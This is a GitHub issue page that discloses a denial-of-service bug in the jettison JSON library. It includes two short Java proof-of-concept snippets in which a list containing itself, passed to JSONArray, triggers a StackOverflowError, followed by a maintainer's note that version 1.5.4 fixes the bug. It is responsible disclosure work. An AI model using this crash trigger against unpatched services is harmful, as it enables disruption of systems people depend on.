Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

If the value inside a Collection is itself, using it with JSONArray causes a StackOverflowError which may lead to DoS #60

Closed
nitay-jfrog opened this issue Jan 17, 2023 · 1 comment · Fixed by eclipse-ee4j/glassfish#24349

Comments

@nitay-jfrog
Copy link

PoC when initializing a JSONArray:

public class POC {
    public static void main(String[] args) throws JSONException {
        ArrayList<Object> list = new ArrayList<>();
        list.add(list);
        JSONArray jsonArray=new JSONArray(list);
    }
}

The result:
image

PoC when adding the list to an existing JSONArray:

public class POC {
    public static void main(String[] args) throws JSONException {
        ArrayList<Object> list = new ArrayList<>();
        list.add(list);
        JSONArray jsonArray=new JSONArray().put(list);
    }
}

The result:
image

If the issue is indeed exploitable, we can create a CVE entry after the fixed version is released since we are a CNA.

@coheigea coheigea mentioned this issue Mar 3, 2023
@coheigea
Copy link
Contributor

@nitay-jfrog This is now fixed in 1.5.4, thanks.

arjantijms added a commit to eclipse-ee4j/glassfish that referenced this issue Mar 21, 2023
Fixes jettison-json/jettison#60

`If the value inside a Collection is itself, using it with JSONArray causes a StackOverflowError which may lead to DoS`
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants